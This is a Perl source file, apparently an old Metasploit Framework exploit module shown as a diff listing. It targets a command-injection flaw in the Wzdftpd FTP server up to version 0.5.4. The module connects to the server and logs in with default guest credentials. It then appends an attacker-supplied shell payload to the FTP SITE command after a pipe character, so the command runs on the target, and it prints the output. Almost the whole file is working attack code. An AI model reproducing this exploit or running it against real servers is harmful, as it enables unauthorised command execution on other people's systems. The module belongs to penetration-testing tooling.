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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::wzdftpd_site;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'Wzdftpd SITE Command Arbitrary Command Execution',
- 'Version' => '$Revision: 1.3 $',
- 'Authors' => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 1,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 21],
- 'USER' => [1, 'DATA', 'Username', 'guest'],
- 'PASS' => [1, 'DATA', 'Password', '%'],
- 'SITECMD'=> [1, 'DATA', 'Custom site command'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits an arbitrary command execution vulnerability in Wzdftpd
- threw SITE command. Wzdftpd version to 0.5.4 are vulnerable.
- }),
- 'Refs' =>
- [
- ['BID', '14935'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 128,
- 'Keys' => ['cmd','cmd_bash'],
- },
-
- 'Keys' => ['wzdftpd_site'],
-
- 'DisclosureDate' => 'Sep 24 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
- my $res = $s->Recv(-1, 5);
- $s->Close();
-
- if (! $res) {
- $self->PrintLine("[*] No FTP banner");
- return $self->CheckCode('Unknown');
- }
-
- if ($res =~ /220 wzd server ready/)
- {
- $self->PrintLine("[*] FTP Server is a wzdftpd server");
- return $self->CheckCode('Appears');
- }
- else
- {
- $self->PrintLine("[*] FTP Server is probably not vulnerable");
- return $self->CheckCode('Safe');
- }
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $custom_site_cmd =$self->GetVar('SITECMD');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $cmd = $encodedPayload->RawPayload;
- my $user = $self->GetVar('USER');
- my $pass = $self->GetVar('PASS');
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the FTP server ...");
-
- $s->Send("USER ".$user);
-
- my $result = $s->Recv(-1, 20);
- if (!($result=~/\d{3} User .+ okay, need password/))
- {
- $self->PrintLine("[*] Invalid user");
- return;
- }
-
- $s->Send("PASS ".$pass);
- $result = $s->Recv(-1, 20);
-
- if (!($result=~/\d{3} User logged in/))
- {
- $self->PrintLine("[*] Invalid password");
- return;
- }
-
- $s->Send("SITE ".$custom_site_cmd." | $cmd;");
- $result = $s->Recv(-1, 20);
- if (!($result=~/^200/))
- {
- $self->PrintLine("[*] Error: $result");
- return;
- }
-
- $self->PrintLine('');
- my @results = split ( /\n/, $result );
- chomp @results;
- for (my $i = 1; $i < @results -1; $i++){
- $self->PrintLine("$results[$i]");
- }
- return;
- }
-
- 1;
-